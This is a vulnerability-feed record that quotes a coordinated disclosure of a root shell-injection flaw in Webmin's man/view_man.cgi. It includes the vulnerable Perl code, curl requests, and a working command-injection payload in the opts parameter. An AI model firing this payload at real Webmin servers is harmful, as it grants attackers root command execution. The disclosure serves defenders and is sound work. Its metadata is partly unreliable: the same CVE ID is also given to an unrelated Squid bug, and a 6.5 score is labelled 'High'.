{"uuid": "410b8334-1d4f-402d-bd24-e696cc9251f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-67738", "type": "seen", "source": "https://gist.github.com/dohyun4455/3e6d2720295079f2315f3f87844c68b7", "content": "# Webmin `man/view_man.cgi` \u2014 Authenticated Shell Injection via `opts` Parameter (RCE \u2192 root)\n\n## Summary\n\nIn Webmin through version 2.641, the file `man/view_man.cgi` constructs a shell command from the user-supplied `opts` CGI parameter without proper neutralization. An authenticated user with access to the \"Manual Pages\" module can inject shell metacharacters via `opts`, leading to arbitrary command execution as the Webmin server process (root by default, since `miniserv` forks CGI handlers as root).\n\nThe vulnerable code path is only reached when the configured `man2html_path` points to **Earl Hood's Perl `man2html` version 3.0 or later**. This is the default on Arch Linux (`man2html 3.0.1-10`) and FreeBSD ports (`3.1.x`). On Debian / Ubuntu / Fedora / RHEL, the legacy Hamilton C `man2html 1.6g` ships by default and is not affected by this finding (but is affected by a companion XSS \u2014 see separate disclosure).\n\n## Affected\n\n- **Product**: Webmin\n- **Versions**: all versions through 2.641 (from initial checkin `fc1c1b243` to current release)\n- **Component**: `man/view_man.cgi`\n- **Precondition**: configured `man2html_path` points to Earl Hood Perl `man2html` v3.0+\n- **Privilege required**: authenticated Webmin user with the \"Manual Pages\" module ACL\n\n## Vulnerable Code\n\n`man/view_man.cgi` (lines 72-77, pre-patch):\n\n```perl\n$manout = &amp;backquote_command(\"$config{'man2html_path'} -v 2&gt;&amp;1\", 1);\nif ($manout =~ /Version:\\s+([0-9\\.]+)/i &amp;&amp; $1 &gt;= 3) {\n    # New version uses a different syntax!\n    $cmd .= \" $qout | nroff -mman | $config{'man2html_path'} --cgiurl \\\"view_man.cgi?page=\\\\\\${title}&amp;sec=\\\\\\${section}&amp;opts=$in{'opts'}\\\" --bare\";\n    $out = &amp;backquote_command(\"$cmd 2&gt;&amp;1\", 1);\n}\n```\n\nThe `$in{'opts'}` variable is interpolated directly into the shell-quoted `--cgiurl` argument, then the whole string is passed to `backquote_command()` for execution. Shell metacharacters (`;`, `` ` ``, `$()`, `|`, etc.) in `opts` escape the intended context.\n\n## Reproduction (Docker)\n\n```bash\n# Setup container with Webmin 2.641 + Earl Hood man2html &gt;=3.0\ndocker run -d --name webmin-poc -p 10000:10000 \\\n  -e WEBMIN_USER=admin -e WEBMIN_PASSWORD=AdminPass!2026 \\\n  debian:12 bash -lc \"tail -f /dev/null\"\n\ndocker exec webmin-poc bash -lc '\n  apt-get update &amp;&amp; apt-get install -y wget perl libnet-ssleay-perl openssl\n  # Install Webmin 2.641 ...\n  # Install Earl Hood man2html &gt;=3.0 (or stub binary returning \"Version: 3.0.1\" on -v)\n  # Create low-priv user \"classb\" with Manual Pages module ACL granted\n'\n\n# Login as low-priv user\nCOOKIE=/tmp/webmin.cookies\ncurl -k -c $COOKIE -d \"user=classb&amp;pass=ClassB!2026\" \\\n  https://localhost:10000/session_login.cgi\n\n# Trigger the RCE\ncurl -k -b $COOKIE \\\n  \"https://localhost:10000/man/view_man.cgi?page=ls&amp;sec=1&amp;opts=%22%3Btouch%20%2Ftmp%2Fpwn-by-%24%28id%20-u%29%3Becho%20%22\"\n\n# Verify marker file created as root (uid=0)\ndocker exec webmin-poc ls -la /tmp/pwn-by-0\n# -rw-r--r-- 1 root root 0 May 14 23:17 /tmp/pwn-by-0\n```\n\nThe URL-decoded `opts` payload is: `\";touch /tmp/pwn-by-$(id -u);echo \"` \u2014 closes the quote, executes `touch`, then re-opens quote to keep the rest of the shell command syntactically valid.\n\n## Dynamic Confirmation\n\nConfirmed in Docker with Webmin 2.641 + stub `man2html` binary returning `Version: 3.0.1` on `-v`:\n\n- Marker file `/tmp/pwn-by-0` created (owner: root, mtime: 2026-05-14T23:17:03)\n- `miniserv.log` shows `127.0.0.1 - classb [...] \"GET /man/view_man.cgi?...\" 200` \u2014 confirms low-priv user attribution\n- Class-B user authenticated via standard Webmin session, no admin escalation needed at HTTP layer\n\n## CVSS\n\n- **Vector**: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`\n- **Score**: **6.5 (High)**\n\n| Metric | Value | Rationale |\n|---|---|---|\n| AV | Network | Webmin admin panel is network-accessible |\n| AC | High | Requires Earl Hood Perl `man2html` &gt;=3.0 (not default on Debian/Ubuntu/Fedora/RHEL) |\n| PR | Low | Any authenticated Webmin user with \"Manual Pages\" module ACL |\n| UI | None | No user interaction |\n| Scope | Unchanged | Code runs as same root context CGI was already in |\n| C/I/A | High | Full root shell |\n\n## Vendor Coordination\n\n- **Maintainer**: Jamie Cameron ``\n- **Reported**: 2026-05-15\n- **Acknowledged**: 2026-05-15 (Day 0, ~7 hours after report)\n- **Patched**: 2026-05-15 (Day 0)\n- **Patch commits**:\n  - https://github.com/webmin/webmin/commit/b251b7182cde84b20a00a90fd0ef0ed032fc6037 (primary `quotemeta` fix)\n  - https://github.com/webmin/webmin/commit/aa87f85d4a12d4bcf712cb90bd84bf538a52892d (refactor: unified `$uopts = &amp;urlize(...)` + source-side fix in `man/search.cgi`)\n- **Fixed in**: Webmin 2.642 (upcoming release)\n- **Vendor security page**: https://www.webmin.com/security.html (CVE ID and credit will be added on release)\n\n## Prior Art\n\n- **CVE-2017-9313** \u2014 Reflected XSS in `view_man.cgi` via `sec` parameter; commits `a330e913e`, `c2d4a90639` escaped `sec`/`page` but **did not** cover `opts`. This issue is the incomplete-coverage variant on the shell-injection axis (a companion reflected XSS finding in the legacy `man2html` branch of the same file is the corresponding gap on the XSS axis).\n- **CVE-2025-67738** \u2014 Filippo Decortes, Squid module `cachemgr.cgi`, same maintainer-accept class (shell-injection in CGI arg construction). Patched via identical `quotemeta` pattern.\n\n## Credit\n\n- **Discoverer**: j0hndo ``\n", "creation_timestamp": "2026-05-17T15:25:44.000000Z"}